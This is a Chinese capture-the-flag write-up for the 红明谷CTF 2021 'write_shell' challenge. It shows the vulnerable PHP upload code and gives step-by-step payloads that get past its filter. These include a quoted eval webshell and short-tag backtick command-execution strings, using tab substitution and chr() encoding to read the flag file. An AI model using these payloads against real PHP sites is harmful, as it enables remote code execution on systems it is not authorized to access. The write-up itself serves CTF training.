[红明谷CTF 2021]write_shell

[红明谷CTF 2021]write_shell

打开网页,发现源代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

先输入:

/?action=pwd

发现网页回显写入文件index.php的路径:

sandbox/ae93446ce05e0cb626c6029f1a1eaef2/

连续刷新后,发现上短时间内不变,所以我们把数据写入index.php后,可以根据这个链接访问这个文件。再写入数据:

/?action=upload&data=ls

然后访问:

sandbox/ae93446ce05e0cb626c6029f1a1eaef2/

发现已经写入成功,那么只需要把木马写入index.php文件就可以从后台登录了,比如写入

<?php @eval($_POST["password"]);?>

但waf过滤了php,空格。所以不能用<?php,但php还有短标签,可以尝试使用<?= ?>代替<?php ?>,同时php会把反引号内的内容当作命令执行,使用反引号运算符```的效果与函数 shell_exec() 相同。所以我们尝试写入:

/?action=upload&data=<?=`ls%09/`?>

在正常PHP5中,支持如下4种PHP标签:

  • 通过<?php标签
  • 通过<?标签
  • 通过<%标签(默认不开启,PHP7后被移除)
  • 通过<script language="php"> 标签(PHP7后被移除)

References

https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html

输入:

/?action=pwd

发现网页回显写入文件index.php的路径:

sandbox/8262c7279f565af9dec3dbfeeb95c407/

访问路径,发现已经成功读取根目录文件:

bin boot dev etc flllllll1112222222lag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

发现flag文件为flllllll1112222222lag,尝试再次写入:

/?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

或者:

/?action=upload&data=<?=`cat%09/f*`?>

或者:

/?action=upload&data=<?=`cat\t/*`?>

或者:

/?action=upload&data=<?=system('cat /flllllll1112222222lag')?>

但需要转一下码,输入:

/?action=upload&data=<?=system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(108).chr(49).chr(49).chr(49).chr(50).chr(50).chr(50).chr(50).chr(50).chr(50).chr(50).chr(108).chr(97).chr(103))?>

再输入:

/?action=pwd

发现网页回显写入文件index.php的路径:

sandbox/8262c7279f565af9dec3dbfeeb95c407/

访问路径,发现flag。

References

BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

[红明谷CTF 2021]write_shell - 「配枪朱丽叶。」

inanb

红明谷CTF:write_shell

[红明谷CTF 2021]write_shell_cjdgg的博客-程序员宝宝 - 程序员宝宝

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值